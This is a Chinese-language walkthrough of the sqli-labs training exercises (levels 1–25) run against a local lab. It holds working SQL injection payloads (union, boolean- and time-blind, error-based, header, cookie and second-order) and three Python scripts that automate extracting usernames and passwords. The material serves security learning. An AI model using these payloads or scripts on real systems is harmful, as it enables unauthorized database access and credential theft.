第一关字符
?id=1?id=2 //内容变换,且?id=1 and1=1和1=2页面内容都不变,不是数字型注入?id=1' //报错?id=1'--+ //正常,字符型且存在sql注入漏洞————有回显,采用联合注入————?id=1'order by N--+ //判断表格有几列,测试得知是三列?id=-1'union select 1,2,3--+ //查看哪一位是回显位。login name-2,password-3?id=-1'union select 1,database(),version()--+ //可以看看数据名和版本号。security;5.5.44-0ubuntu0.14.04.1?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //爆表名——mails,referers,uagents,users?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+ //把字段名爆出来——id,username,password table_schema='security' and可加可不加?id=-1'union select 1,2,group_concat(id,username,password) from users--+ //成功爆完第二关数字
?id=1 and 1=1 //没报错,正常,但1=2无显示,数字型注入 然后就差不多了跟第一关,只不过不闭合
?id=1 order by 3?id=-1 union select 1,2,3?id=-1 union select 1,database(),version()?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'?id=-1 union select 1,2,group_concat(username ,id , password) from users第三关字符
?id=1 and 1=1 //和1=2和1=3的内容都相同,排除数字型注入 ?id=1’ //报错,报错提示说
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1?id=1’)—+ //成功,需要)闭合
?id=2')--+?id=1') order by 3--+?id=-1') union select 1,2,3--+?id=-1') union select 1,database(),version()--+?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //emails,referers,uagents,users?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //id,username,password?id=-1') union select 1,2,group_concat(username ,id , password) from users--+第四关字符
?id=1 and 1=1 //页面正常,1=2,1=3页面无变化,排除数字型注入 ?id=1’ //不报错 ?id=1” //报错了,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1?id=1”) //报错 ?id=1”)—+ //成功 然后规律就一样了
?id=1") order by 3--+?id=-1") union select 1,2,3--+?id=-1") union select 1,database(),version()--+?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //emails,referers,uagents,users?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //id,username,password?id=-1") union select 1,2,group_concat(username ,id , password) from users--+第五关字符+布尔盲注
?id=1 //回显跟前几关不一样了,You are in… ,确定是字符型注入,没有具体的回显,不能用联合注入,考虑布尔盲注:length(),ascii() ,substr() ?id=1’报错 ?id=1’—+成功 判断数据库长度 ?id=1’and length((select database()))>N—+ //>7正常,>8错了,说明数据库长度为8 判断数据库名称 ?id=1’and ascii(substr((select database()),1,1))=ASCII—+
substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为要一个个判断字符。后边是ASCII值,判断该位是不是这个值判断表名长度 ?id=1’and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>N—+ 逐一判断表名 ?id=1’and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>ASCII—+ 判断字段名长度 ?id=1’and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’))>N—+ 判断字段名 ?id=1’and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>ASCII—+ 判断字段内容长度 ?id=1’ and length((select group_concat(username,password) from users))>N—+ 逐一检测内容 ?id=1’ and ascii(substr((select group_concat(username,password) from users),1,1))>ASCIi—+ 根据以上的步骤,手动爆破过于麻烦,于是采用脚本自动爆破 (python多行注释用三个单/双引号就可以)
import requestsimport timeimport sys
class BooleanBlindInjector: def __init__(self, url): self.url = url self.headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" }
def check_payload(self, sql_condition): """ 判断函数: payload: ?id=1' and {sql_condition}--+ 如果页面包含 'You are in' 返回 True """ payload = f"?id=1' and {sql_condition}--+" target_url = self.url + payload try: res = requests.get(target_url, headers=self.headers) return "You are in" in res.text except: return False
def get_length(self, sql_query): """ 判断数据长度 对应 payload: length((select ...)) > X """ print(f"[*] 正在探测长度...", end="") # 考虑到 group_concat 结果可能很长,范围设大一点 for length in range(1, 1000): # 判断 length(({sql_query})) = {length} if self.check_payload(f"length(({sql_query}))={length}"): print(f" 长度为: {length}") return length print(" [-] 未能测出长度,可能数据过长或 SQL 语句有误。") return None
def get_content(self, sql_query): """ 二分法提取具体内容 对应 payload: ascii(substr((select ...), 1, 1)) > mid """ # 1. 先获取长度 length = self.get_length(sql_query) if not length: return None
# 2. 开始二分法提取字符 result = "" print(f"[*] 开始提取内容: ", end="")
for i in range(1, length + 1): low = 32 high = 126 mid = 0
while low <= high: mid = (low + high) // 2 # 你的 payload 逻辑: ascii(substr((query), i, 1)) > mid payload = f"ascii(substr(({sql_query}),{i},1))>{mid}"
if self.check_payload(payload): low = mid + 1 else: high = mid - 1
result += chr(low) # 实时显示进度 sys.stdout.write(f"\r[*] 当前获取: {result}") sys.stdout.flush()
print(f"\n[+] 提取完成: {result}\n" + "-"*50) return result
def run(self): print(f"[*] 目标 URL: {self.url}") print("-" * 50)
# --- 第一步:获取数据库名 --- # Payload: select database() db_name = self.get_content("select database()")
# --- 第二步:获取所有表名 --- # Payload: select group_concat(table_name) from information_schema.tables where table_schema=database() # 注意:在 SQL 语句中引用字符串需要加单引号,例如 table_schema='security' # 这里直接用 database() 函数代替具体库名,更通用 tables_query = "select group_concat(table_name) from information_schema.tables where table_schema=database()" self.get_content(tables_query)
# --- 第三步:获取 users 表的字段名 --- # Payload: select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' # 这里我们假设目标表名是 users,如果第二步跑出来不是 users,需要手动修改这里的 table_name='users' columns_query = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'" self.get_content(columns_query)
# --- 第四步:获取字段内容 (用户名和密码) --- # Payload: select group_concat(username,password) from users # 为了方便阅读,我在中间加了一个分隔符 '~',即 group_concat(username,'~',password) dump_query = "select group_concat(username,'~',password) from users" self.get_content(dump_query)
if __name__ == "__main__": # 请根据你的实际情况修改端口和路径 target = "http://localhost:8080/Less-5/"
injector = BooleanBlindInjector(target) injector.run()第六关字符+布尔盲注
?id=1依旧盲注 ?id=1’ //不报错 ?id=1” //报错 ?id=1”—+ //OK成功 其它的逻辑跟上一题就一样了,只需要将脚本稍加改动就好
payload = f'?id=1" and ...'第七关字符+无报错原因+布尔盲注
?id=1 //这次回显又不一样,You are in… Use outfile… ?id=1 and 1=1 //正常,1=2不变,排除数字注入 ?id=1’ //报错了,但和之前不一样,没说出错在哪里,只说了有错You have an error in your SQL syntax —+还是一样报错 ?id=1” //页面又正常了,那排除,就是 ‘ ?id=1’) //报错 —+依旧报错 ?id=1’)) //报错 ?id=1’))—+ //欸终于对了 接下来就是跟前面一样布尔盲注了,把payload改一下
payload = f"?id=1')) and {sql_condition}--+"第八关字符+无报错显示+布尔盲注
?id=1 //You are in… ?id=1’ //什么显示都没有了 ?id=1’ //欸成了,这就跟第五关很像了,后边盲注
第九关时间盲注
?id=1 //显示You are in… ?id=1 and 1=1 //页面正常,然后1=2也正常,排除数字型注入 然后尝试了?id=1’ 1“ 1’) 1’)) 1”) 1”)) 回显都没有变化,都是一样的,这时候使用布尔盲注就不合适了,得尝试时间盲注 //时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟
**判断参数构造**?id=1' and if(1=1,sleep(5),1)--+**判断数据库名长度**?id=1'and if(length((select database()))>N,sleep(5),1)--+**逐一判断数据库字符**?id=1'and if(ascii(substr((select database()),1,1))=ASCII,sleep(5),1)--+**判断所有表名长度**?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>N,sleep(5),1)--+**逐一判断表名**?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>ASCII,sleep(5),1)--+**判断所有字段名的长度**?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>N,sleep(5),1)--+**逐一判断字段名**?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>ASCII,sleep(5),1)--+**判断字段内容长度**?id=1' and if(length((select group_concat(username,password) from users))>N,sleep(5),1)--+**逐一检测内容**?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>ASCII,sleep(5),1)--+import requestsimport timeimport sys
class TimeBlindInjector: def __init__(self, url): self.url = url self.sleep_time = 5 self.timeout = 3 self.headers = { "User-Agent": "Mozilla/5.0" }
def check_payload(self, condition): """ 时间判断函数 payload: ?id=1' and if(condition,sleep(5),1)--+ 如果触发 sleep → 超时 → True """ payload = f"?id=1' and if({condition},sleep({self.sleep_time}),1)--+" try: requests.get(self.url + payload, headers=self.headers, timeout=self.timeout) return False except requests.exceptions.Timeout: return True
# =============================== # 二分法判断长度 # =============================== def get_length(self, sql_query, max_len=300): print("[*] 正在探测长度...", end="") low, high = 1, max_len while low <= high: mid = (low + high) // 2 condition = f"length(({sql_query}))>{mid}" if self.check_payload(condition): low = mid + 1 else: high = mid - 1 print(f" 长度为: {low}") return low
# =============================== # 二分法提取内容 # =============================== def get_content(self, sql_query): length = self.get_length(sql_query) result = "" print("[*] 开始提取内容:")
for pos in range(1, length + 1): low, high = 32, 126 while low <= high: mid = (low + high) // 2 condition = f"ascii(substr(({sql_query}),{pos},1))>{mid}" if self.check_payload(condition): low = mid + 1 else: high = mid - 1
result += chr(low) sys.stdout.write(f"\r[+] 当前结果: {result}") sys.stdout.flush()
print("\n" + "-" * 50) return result
# =============================== # 主流程 # =============================== def run(self): print(f"[*] Target: {self.url}") print("-" * 50)
# 1. 数据库名 db = self.get_content("select database()") print(f"[+] Database: {db}")
# 2. 表名 tables = self.get_content( "select group_concat(table_name) from information_schema.tables where table_schema=database()" ) print(f"[+] Tables: {tables}")
# 3. 字段名 columns = self.get_content( "select group_concat(column_name) from information_schema.columns " "where table_schema=database() and table_name='users'" ) print(f"[+] Columns: {columns}")
# 4. 数据 data = self.get_content( "select group_concat(username,0x3a,password) from users" ) print(f"[+] Data: {data}")
if __name__ == "__main__": target = "http://localhost:8080/Less-9/" injector = TimeBlindInjector(target) injector.run()第十关时间盲注
和第九关一样,只是payload的单引号变成双引号
?id=1" and if(1=1,sleep(5),1)--+第十一关登陆页面
这一关开始和前面又不一样了,变成了登陆页面。 随机输入一个1,页面显示failed,然后1’,出现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1从报错得知应该:username=‘参数’ and password=‘参数’ 使用万能公式 1’ or ‘1’=‘1,显示successfully logged in 然后进行查询1’ union select 1,2—+报错 换为1’ union select 1,2 # 成功爆出
1' or '1'='1 //successfully1' union select 1,2--+ //报错1' union select 1,2 # //成功
1' or 1=1#1' union select 1,2#1' union select 1,database()#1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#1' union select 1,group_concat(username,password) from users#第十二关
1 // 无反应1' //无反应1" //出现报错,得加括号1") //正常的报错出来了----接下来就开始sql注入----然后就跟上一关一样了,只不过是注入方式从1’变成了1”)
第十三关报错注入
1' //报错,显示需要加括号1') //正常的报错出来了----接下来就开始sql注入----1') or 1=1# //登录成功1') or 1=2# //登录失败但是发现这一关只有登陆成功还是失败,没有其它回显,所以可以尝试采用报错注入
报错注入:1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#第十四关报错注入
1" union select 1,2--+ //报错1" union select 1,2 # //成功----接下来就开始sql注入----十四关和之前只需要将单引号换成双引号
第十五关时间盲注
报错没打通,用的时间盲注
import requestsimport time
# ========== 配置区域 ==========# 目标URLTARGET_URL = "http://localhost:8080/Less-15/"# 延时时间 (秒)SLEEP_TIME = 2# 创建Session复用连接session = requests.Session()
# ========== 核心功能 ==========
def is_true(payload): """ 发送Payload并根据响应时间判断条件真假 """ post_data = { "uname": payload, "passwd": "admin", "submit": "Submit" }
try: start_time = time.time() # 发送POST请求 resp = session.post( TARGET_URL, data=post_data, timeout=SLEEP_TIME + 3, # 设置超时防止卡死 allow_redirects=False ) end_time = time.time() cost_time = end_time - start_time
# 如果耗时大于设定的Sleep时间,说明SQL执行了SLEEP,条件为真 return cost_time > SLEEP_TIME
except requests.exceptions.Timeout: # 如果请求超时,通常也意味着Sleep生效了 return True except Exception as e: print(f"[!] 请求错误: {e}") return False
def get_length_binary(name): """ 使用【二分法】获取字符串长度(比逐个猜快几十倍) """ print(f"[*] 正在探测长度: {name}") low = 1 high = 100 # 假设最大长度不超过100
while low <= high: mid = (low + high) // 2 # Payload逻辑: if(length(xxx) > mid, sleep, 0) # 注意:这里把 --+ 改为了 #,因为POST请求中 --+ 有时会导致语法错误 payload = f"admin' and IF(length(({name}))>{mid}, SLEEP({SLEEP_TIME}), 0)#"
if is_true(payload): low = mid + 1 else: high = mid - 1
# 二分结束时,low 就是长度(或者 high+1) # 逻辑验证:最后一次循环如果 true,low=mid+1,如果 false,high=mid-1。最终 low > high。 final_len = low if low > high else high # 有时候二分法边界会差1,这里稍微调整,通常直接取 low 即可,具体视逻辑而定 # 修正逻辑:当 low > high 停止,长度应为 high + 1? # 简单的方式:二分查找最终定位的是“第一个不满足 > mid”的位置
print(f"[+] 长度确定: {low}") return low
def get_string_binary(name, length): """ 使用【二分法】逐字符获取具体内容 """ result = "" print(f"[*] 正在爆破内容: {name}")
for i in range(1, length + 1): low = 32 # 可打印字符最小值 high = 126 # 可打印字符最大值
while low <= high: mid = (low + high) // 2 # Payload逻辑: if(ascii(substr(xxx, i, 1)) > mid, sleep, 0) payload = f"admin' and IF(ascii(substr(({name}),{i},1))>{mid}, SLEEP({SLEEP_TIME}), 0)#"
if is_true(payload): low = mid + 1 else: high = mid - 1
result += chr(low) # 动态显示进度 print(f"\r[>] 当前进度: {result}", end="", flush=True)
print() # 换行 return result
# ========== 主程序入口 ==========if __name__ == "__main__": try: print("=== 开始时间盲注 (POST二分法加速版) ===")
# 1. 获取数据库名 db_len = get_length_binary("database()") if db_len == 0 or db_len > 100: print("[-] 获取数据库长度失败,请检查URL或网络") exit()
db_name = get_string_binary("database()", db_len) print(f"✅ 数据库名: {db_name}\n")
# 2. 获取表名 (为节省时间,演示获取所有表名字符串) tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'" tables_len = get_length_binary(tables_sql) tables = get_string_binary(tables_sql, tables_len) print(f"✅ 表名: {tables}\n")
# 简单分割表名取第一个 table_list = tables.split(',') target_table = "users" if "users" in table_list else table_list[0] print(f"🔍 锁定目标表: {target_table}\n")
# 3. 获取列名 cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'" cols_len = get_length_binary(cols_sql) cols = get_string_binary(cols_sql, cols_len) print(f"✅ 列名: {cols}\n")
col_list = cols.split(',') target_cols = [c for c in ["username", "password", "flag"] if c in col_list] if not target_cols: target_cols = col_list[:2] print(f"🔍 锁定目标列: {target_cols}\n")
# 4. 获取数据 for col in target_cols: data_sql = f"select group_concat({col}) from {target_table}" data_len = get_length_binary(data_sql) if data_len > 0: data = get_string_binary(data_sql, data_len) print(f"✅ {col} 数据: {data}")
except KeyboardInterrupt: print("\n[!] 用户中断")第十六关
跟上一关一样,payload的改为“)就好
第十七关
这一关又跟前面有了些不同,多了个[PASSWORD RESET],密码重置页面,报错注入
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# //爆版本1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# //爆数据库1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# //爆表名1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# //爆字段名1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# //爆字段内容第十八关
这次不是密码重置了,下方多了个Your IP ADDRESS is: 172.17.0.1 username和password里输入admin 显示:Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 尝试使用user-agent里面注入,然后就是报错注入了
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or 'c第十九关
和上一关一样,不过是referer注入
第二十关
用户名和密码都输入admin,然后页面回显出了cookie,那就尝试cookie注入
第二十一关
这一关依旧十cookie注入,然后base64编码就好
第二十二关
还是cookie注入,不过源码里写是”,改成”闭合就好,其它一样
第二十三关
这一关又看上去像开头那几关了,不过过滤了#和—,那么后边用and ‘1’=‘1来代替就好
第二十四关
这一关又边的多样了,不仅有登陆框,还有Forgot your password? New User click here?使用adminadmin登陆之后还能修改密码 看一下源码,会发现mysql_real-escape_string函数,这个函数会转义SQL语句中使用的字符串中的特殊字符。
\x00 \n \r \ ' " \x1a所以不在这个界面进行注入,然后注册界面有mysql_escape_string,虽然作用跟前面的类似,不过由于这个函数被废弃了,所以说在这个页面进行注入,用到了二次注入
1. 第一步:攻击者提交恶意数据,但数据不会立即执行 SQL 注入,而是被存储到数据库(如注册、评论、修改资料等场景)2. 第二步:当其他功能读取并使用了这些存储的数据时,恶意 SQL 代码被执行,导致攻击成功| 对比项 | 普通 SQL 注入 | 二次排序注入 |
|---|---|---|
| 触发方式 | 直接提交恶意输入(如登录、搜索) | 先存储恶意数据,后续操作触发执行 |
| 过滤绕过 | 依赖输入时的过滤 | 存储时可能不严格过滤,执行时才触发漏洞 |
| 攻击隐蔽性 | 容易被 WAF 检测 | 更难检测,因为攻击分两步完成 |
| 常见场景 | 登录框、搜索框 | 用户注册、评论、资料修改、订单系统 |
| 首先注册admin’# 123456,到登陆页面输入刚刚的账号密码,完成登陆,跳转到修改密码页面,重置新密码为111111,点击重置,admin的密码被修改为111111,而不是admin’#的 |
INSERT INTO users (username, password) VALUES ("admin'#", "123456");SELECT * FROM users WHERE username='admin'UPDATE users SET PASSWORD='111111' WHERE username='admin'# 攻击成功的原因
1. 注册时未过滤 ' 和 # - 允许攻击者存储恶意用户名 admin'#2. 修改密码时直接拼接 SQL - 未对从数据库读取的 username 进行二次过滤,导致 '# 被当作 SQL 代码执行。3. 注释符 # 绕过密码验证 - # 注释掉后续条件,使攻击者能直接修改 admin 的密码。第二十五关
先?id=1 页面说 All Your ‘OR’ and ‘AND’ belong to us. Hint: Your Input is Filtered with following result: 说明or和and别过滤了,可以使用双写绕过或者是||来替换or,and可以用&&,其它的就跟之前的一样了